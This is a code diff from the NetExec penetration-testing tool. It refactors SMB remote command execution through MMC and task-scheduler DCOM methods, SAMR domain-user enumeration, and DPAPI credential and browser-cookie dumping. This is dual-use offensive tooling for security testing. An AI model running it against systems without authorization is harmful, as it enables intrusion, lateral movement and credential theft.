@@ -580,18 +595,25 @@ class smb(connection):
|
||||
continue
|
||||
elif method == "mmcexec":
|
||||
try:
|
||||
# https://github.com/fortra/impacket/issues/1611
|
||||
if self.kerberos:
|
||||
raise Exception("MMCExec current is buggly with kerberos")
|
||||
exec_method = MMCEXEC(
|
||||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.remoteName,
|
||||
self.smb_share_name,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.conn,
|
||||
self.args.share,
|
||||
self.kerberos,
|
||||
self.aesKey,
|
||||
self.kdcHost,
|
||||
self.host,
|
||||
self.hash,
|
||||
self.logger,
|
||||
self.args.get_output_tries,
|
||||
self.args.dcom_timeout
|
||||
self.args.share,
|
||||
logger=self.logger,
|
||||
timeout=self.args.dcom_timeout,
|
||||
tries=self.args.get_output_tries
|
||||
)
|
||||
self.logger.info("Executed command via mmcexec")
|
||||
break
|
||||
@@ -609,6 +631,7 @@ class smb(connection):
|
||||
self.domain,
|
||||
self.kerberos,
|
||||
self.aesKey,
|
||||
self.host,
|
||||
self.kdcHost,
|
||||
self.hash,
|
||||
self.logger,
|
||||
@@ -627,12 +650,12 @@ class smb(connection):
|
||||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.smb_share_name,
|
||||
self.conn,
|
||||
self.port,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.kerberos,
|
||||
self.aesKey,
|
||||
self.host,
|
||||
self.kdcHost,
|
||||
self.hash,
|
||||
self.args.share,
|
||||
@@ -1000,10 +1023,11 @@ class smb(connection):
|
||||
return groups
|
||||
|
||||
def users(self):
|
||||
self.logger.display("Trying to dump local users with SAMRPC protocol")
|
||||
return UserSamrDump(self).dump()
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
return UserSamrDump(self).dump(self.args.users)
|
||||
|
||||
def hosts(self):
|
||||
def computers(self):
|
||||
hosts = []
|
||||
for dc_ip in self.get_dc_ips():
|
||||
try:
|
||||
@@ -1025,7 +1049,7 @@ class smb(connection):
|
||||
self.logger.highlight(f"{domain}\\{host_clean:<30}")
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
|
||||
self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
|
||||
break
|
||||
return hosts
|
||||
|
||||
@@ -1040,17 +1064,17 @@ class smb(connection):
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
|
||||
self.logger.success("Enumerated logged_on users")
|
||||
if self.args.loggedon_users_filter:
|
||||
for user in logged_on:
|
||||
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
else:
|
||||
for user in logged_on:
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating logged on users: {e}")
|
||||
return logged_on
|
||||
|
||||
def pass_pol(self):
|
||||
return PassPolDump(self).dump()
|
||||
@@ -1065,9 +1089,9 @@ class smb(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
|
||||
if not flag or not stringBinding:
|
||||
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
|
||||
|
||||
@@ -1147,20 +1171,16 @@ class smb(connection):
|
||||
max_rid = int(self.args.rid_brute)
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
|
||||
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
|
||||
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
|
||||
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
|
||||
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
|
||||
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
|
||||
}
|
||||
|
||||
try:
|
||||
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
|
||||
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
|
||||
logging.debug(f"StringBinding {string_binding}")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(self.port)
|
||||
|
||||
if KNOWN_PROTOCOLS[self.port]["set_host"]:
|
||||
rpc_transport.setRemoteHost(full_hostname)
|
||||
rpc_transport.setRemoteHost(self.host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
@@ -1238,19 +1258,21 @@ class smb(connection):
|
||||
dce.disconnect()
|
||||
return entries
|
||||
|
||||
def put_file(self):
|
||||
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
|
||||
with open(self.args.put_file[0], "rb") as file:
|
||||
def put_file_single(self, src, dst):
|
||||
self.logger.display(f"Copying {src} to {dst}")
|
||||
with open(src, "rb") as file:
|
||||
try:
|
||||
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
|
||||
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
|
||||
self.conn.putFile(self.args.share, dst, file.read)
|
||||
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
|
||||
|
||||
def put_file(self):
|
||||
for src, dest in self.args.put_file:
|
||||
self.put_file_single(src, dest)
|
||||
|
||||
def get_file(self):
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
share_name = self.args.share
|
||||
remote_path = self.args.get_file[0]
|
||||
download_path = self.args.get_file[1]
|
||||
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
@@ -1263,6 +1285,10 @@ class smb(connection):
|
||||
if os.path.getsize(download_path) == 0:
|
||||
os.remove(download_path)
|
||||
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
def enable_remoteops(self):
|
||||
try:
|
||||
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
||||
@@ -1481,12 +1507,14 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if dump_cookies:
|
||||
if dump_cookies and cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
if cookie.cookie_value != "":
|
||||
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
||||
self.logger.display("End Dumping Cookies")
|
||||
elif dump_cookies:
|
||||
self.logger.fail("No cookies found")
|
||||
|
||||
vaults = []
|
||||
try:
|
||||
@@ -1527,6 +1555,9 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
|
||||
self.logger.fail("No secrets found")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
try:
|
||||
|
||||
@@ -7,7 +7,7 @@ from time import sleep
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -19,6 +19,7 @@ class TSCH_EXEC:
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
@@ -37,6 +38,7 @@ class TSCH_EXEC:
|
||||
|
||||
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
|
||||
@@ -193,7 +193,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -58,26 +58,28 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class MMCEXEC:
|
||||
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
|
||||
self.__host = host
|
||||
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__smbconnection = smbconnection
|
||||
self.__domain = domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__share_name = share_name
|
||||
self.__share = share
|
||||
self.__timeout = timeout
|
||||
self.__smbconnection = smbconnection
|
||||
self.__output = None
|
||||
self.__outputBuffer = b""
|
||||
self.__share_name = share_name
|
||||
self.__shell = "c:\\windows\\system32\\cmd.exe"
|
||||
self.__pwd = "C:\\"
|
||||
self.__quit = None
|
||||
self.__executeShellCommand = None
|
||||
self.__aesKey = aesKey
|
||||
self.__kdcHost = kdcHost
|
||||
self.__remoteHost = remoteHost
|
||||
self.__doKerberos = doKerberos
|
||||
self.__retOutput = True
|
||||
self.__share = share
|
||||
self.__dcom = None
|
||||
self.__stringBinding = ""
|
||||
self.__tries = tries
|
||||
self.__timeout = timeout
|
||||
self.logger = logger
|
||||
|
||||
if hashes is not None:
|
||||
@@ -87,21 +89,24 @@ class MMCEXEC:
|
||||
self.__nthash = hashes
|
||||
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__host,
|
||||
self.__target,
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
None,
|
||||
self.__aesKey,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
try:
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
|
||||
except Exception:
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
@@ -80,6 +80,8 @@ class PassPolDump:
|
||||
self.nthash = ""
|
||||
self.aesKey = connection.aesKey
|
||||
self.doKerberos = connection.kerberos
|
||||
self.host = connection.host
|
||||
self.kdcHost = connection.kdcHost
|
||||
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
|
||||
self.pass_pol = {}
|
||||
|
||||
@@ -112,6 +114,8 @@ class PassPolDump:
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
remote_host=self.host,
|
||||
)
|
||||
try:
|
||||
self.fetchList(rpctransport)
|
||||
|
||||
@@ -38,7 +38,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
@@ -59,8 +59,8 @@ def proto_args(parser, std_parser, module_parser):
|
||||
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
|
||||
|
||||
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
|
||||
@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
|
||||
class SamrFunc:
|
||||
def __init__(self, connection):
|
||||
self.logger = connection.logger
|
||||
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.addr = connection.host
|
||||
self.protocol = connection.args.port
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
@@ -25,6 +25,7 @@ class SamrFunc:
|
||||
self.nthash = ""
|
||||
self.aesKey = connection.aesKey
|
||||
self.doKerberos = connection.kerberos
|
||||
self.kdcHost = connection.kdcHost
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(":") != -1:
|
||||
@@ -35,16 +36,8 @@ class SamrFunc:
|
||||
if self.password is None:
|
||||
self.password = ""
|
||||
|
||||
self.samr_query = SAMRQuery(
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
domain=self.domain,
|
||||
remote_name=self.addr,
|
||||
remote_host=self.addr,
|
||||
kerberos=self.doKerberos,
|
||||
aesKey=self.aesKey,
|
||||
)
|
||||
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
|
||||
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
|
||||
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
|
||||
|
||||
def get_builtin_groups(self):
|
||||
domains = self.samr_query.get_domains()
|
||||
@@ -56,7 +49,6 @@ class SamrFunc:
|
||||
domain_handle = self.samr_query.get_domain_handle("Builtin")
|
||||
return self.samr_query.get_domain_aliases(domain_handle)
|
||||
|
||||
|
||||
def get_custom_groups(self):
|
||||
domains = self.samr_query.get_domains()
|
||||
custom_groups = {}
|
||||
@@ -99,6 +91,7 @@ class SAMRQuery:
|
||||
remote_name="",
|
||||
remote_host="",
|
||||
kerberos=None,
|
||||
kdcHost="",
|
||||
aesKey="",
|
||||
):
|
||||
self.__username = username
|
||||
@@ -111,6 +104,7 @@ class SAMRQuery:
|
||||
self.__remote_name = remote_name
|
||||
self.__remote_host = remote_host
|
||||
self.__kerberos = kerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.dce = self.get_dce()
|
||||
self.server_handle = self.get_server_handle()
|
||||
|
||||
@@ -119,7 +113,7 @@ class SAMRQuery:
|
||||
nxc_logger.debug(f"Binding to {string_binding}")
|
||||
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
|
||||
return transport.SMBTransport(
|
||||
self.__remote_host,
|
||||
self.__remote_name,
|
||||
self.__port,
|
||||
r"\samr",
|
||||
self.__username,
|
||||
@@ -129,10 +123,12 @@ class SAMRQuery:
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
doKerberos=self.__kerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
)
|
||||
|
||||
def get_dce(self):
|
||||
rpc_transport = self.get_transport()
|
||||
rpc_transport.setRemoteHost(self.__remote_host)
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
@@ -168,7 +164,7 @@ class SAMRQuery:
|
||||
|
||||
def get_domain_aliases(self, domain_handle):
|
||||
"""Use a dictionary comprehension to generate the aliases dictionary.
|
||||
|
||||
|
||||
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
|
||||
"""
|
||||
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
|
||||
@@ -184,7 +180,7 @@ class SAMRQuery:
|
||||
|
||||
|
||||
class LSAQuery:
|
||||
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
|
||||
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
@@ -194,6 +190,7 @@ class LSAQuery:
|
||||
self.__port = port
|
||||
self.__remote_name = remote_name
|
||||
self.__remote_host = remote_host
|
||||
self.__kdcHost = kdcHost
|
||||
self.__kerberos = kerberos
|
||||
self.dce = self.get_dce()
|
||||
self.policy_handle = self.get_policy_handle()
|
||||
@@ -205,7 +202,7 @@ class LSAQuery:
|
||||
rpc_transport.set_dport(self.__port)
|
||||
rpc_transport.setRemoteHost(self.__remote_host)
|
||||
if self.__kerberos:
|
||||
rpc_transport.set_kerberos(True, None)
|
||||
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(
|
||||
@@ -237,7 +234,7 @@ class LSAQuery:
|
||||
|
||||
def lookup_sids(self, sids):
|
||||
"""Use a list comprehension to generate the names list.
|
||||
|
||||
|
||||
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
|
||||
"""
|
||||
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
|
||||
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
|
||||
class UserSamrDump:
|
||||
@@ -24,8 +25,12 @@ class UserSamrDump:
|
||||
self.nthash = ""
|
||||
self.aesKey = connection.aesKey
|
||||
self.doKerberos = connection.kerberos
|
||||
self.host = connection.host
|
||||
self.kdcHost = connection.kdcHost
|
||||
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
|
||||
self.users = []
|
||||
self.rpc_transport = None
|
||||
self.dce = None
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(":") != -1:
|
||||
@@ -36,46 +41,36 @@ class UserSamrDump:
|
||||
if self.password is None:
|
||||
self.password = ""
|
||||
|
||||
def dump(self):
|
||||
def dump(self, requested_users=None):
|
||||
# Try all requested protocols until one works.
|
||||
for protocol in self.protocols:
|
||||
try:
|
||||
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
except KeyError:
|
||||
self.logger.debug(f"Invalid Protocol '{protocol}'")
|
||||
self.logger.debug(f"Invalid Protocol: {protocol}")
|
||||
|
||||
self.logger.debug(f"Trying protocol {protocol}")
|
||||
rpctransport = transport.SMBTransport(
|
||||
self.addr,
|
||||
port,
|
||||
r"\samr",
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos,
|
||||
)
|
||||
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
|
||||
try:
|
||||
self.fetchList(rpctransport)
|
||||
self.fetch_users(requested_users)
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Protocol failed: {e}")
|
||||
self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
|
||||
return self.users
|
||||
|
||||
def fetchList(self, rpctransport):
|
||||
dce = DCERPC_v5(rpctransport)
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
def fetch_users(self, requested_users):
|
||||
self.dce = DCERPC_v5(self.rpc_transport)
|
||||
self.dce.connect()
|
||||
self.dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# Setup Connection
|
||||
resp = samr.hSamrConnect2(dce)
|
||||
resp = samr.hSamrConnect2(self.dce)
|
||||
if resp["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
enumerationContext=0,
|
||||
preferedMaximumLength=500,
|
||||
@@ -84,7 +79,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
name=resp2["Buffer"]["Buffer"][0]["Name"],
|
||||
)
|
||||
@@ -92,7 +87,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp4 = samr.hSamrOpenDomain(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
desiredAccess=samr.MAXIMUM_ALLOWED,
|
||||
domainId=resp3["DomainId"],
|
||||
@@ -101,28 +96,84 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
self.__domains = resp2["Buffer"]["Buffer"]
|
||||
domainHandle = resp4["DomainHandle"]
|
||||
domain_handle = resp4["DomainHandle"]
|
||||
# End Setup
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
if requested_users:
|
||||
self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
|
||||
names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
|
||||
rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
|
||||
self.logger.debug(f"Specific RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
resp = e.get_packet()
|
||||
self.logger.success("Enumerated domain user(s)")
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
|
||||
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
|
||||
self.users.append(user["Name"])
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
self.logger.debug(f"Exception while requesting users in domain: {e}")
|
||||
if "STATUS_SOME_NOT_MAPPED" in str(e):
|
||||
# which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
|
||||
self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
|
||||
else:
|
||||
self.logger.fail(f"Error occurred when looking up users in domain: {e}")
|
||||
else:
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
enumerate_users_resp = e.get_packet()
|
||||
|
||||
enumerationContext = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
|
||||
self.logger.debug(f"Full domain RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
|
||||
dce.disconnect()
|
||||
# set these for the while loop
|
||||
enumerationContext = enumerate_users_resp["EnumerationContext"]
|
||||
status = enumerate_users_resp["ErrorCode"]
|
||||
self.print_user_info(users)
|
||||
self.dce.disconnect()
|
||||
|
||||
def get_user_info(self, domain_handle, user_ids):
|
||||
self.logger.debug(f"Getting user info for users: {user_ids}")
|
||||
users = []
|
||||
|
||||
for user in user_ids:
|
||||
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
|
||||
open_user_resp = samr.hSamrOpenUser(
|
||||
self.dce,
|
||||
domain_handle,
|
||||
samr.MAXIMUM_ALLOWED,
|
||||
user
|
||||
)
|
||||
info_user_resp = samr.hSamrQueryInformationUser2(
|
||||
self.dce,
|
||||
open_user_resp["UserHandle"],
|
||||
samr.USER_INFORMATION_CLASS.UserAllInformation
|
||||
)["Buffer"]
|
||||
|
||||
user_info = info_user_resp["All"]
|
||||
user_name = user_info["UserName"]
|
||||
bad_pwd_count = user_info["BadPasswordCount"]
|
||||
user_description = user_info["AdminComment"]
|
||||
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
|
||||
if last_pw_set == "1601-01-01 00:00:00":
|
||||
last_pw_set = "<never>"
|
||||
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
|
||||
|
||||
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
|
||||
return users
|
||||
|
||||
def print_user_info(self, users):
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
self.logger.debug(f"Full user info: {user}")
|
||||
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
|
||||
|
||||
|
||||
def old_large_int_to_datetime(large_int):
|
||||
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
|
||||
